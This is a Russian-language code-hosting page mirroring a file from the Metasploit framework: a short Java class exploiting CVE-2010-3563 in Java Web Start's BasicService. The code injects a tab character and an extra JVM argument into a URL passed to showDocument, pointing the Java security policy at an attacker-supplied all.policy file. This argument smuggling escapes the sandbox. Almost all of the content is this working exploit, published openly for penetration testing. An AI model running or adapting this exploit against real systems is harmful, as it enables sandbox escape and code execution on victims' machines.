/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
external/source/exploits/CVE-2010-3563/BasicServiceExploit.java
36 строк
715 B
James Lee
add an exploit for cve-2010-3563, thanks Matthias Kaiser
20 ноя 2010, 02:02
20 ноя 2010, 02:02
6f7af42
Код
Авторство
О чём код?
import java.net.URL; import javax.jnlp.BasicService; import javax.jnlp.ServiceManager; /** * * This class exploits the vulnerability within the BasicServiceImpl class. * @author mka * */ public class BasicServiceExploit { public static void main(String[] args) { if (args == null || args.length < 1) { System.exit(1); } String path = args[0]; BasicService bs; try { URL url = new URL(path + "/exploit.jnlp\"" + ((char) 9) + "\"-J-Djava.security.policy=" + path + "/all.policy"); bs = (BasicService) ServiceManager .lookup("javax.jnlp.BasicService"); bs.showDocument(url); } catch (Exception e) { e.printStackTrace(); } } }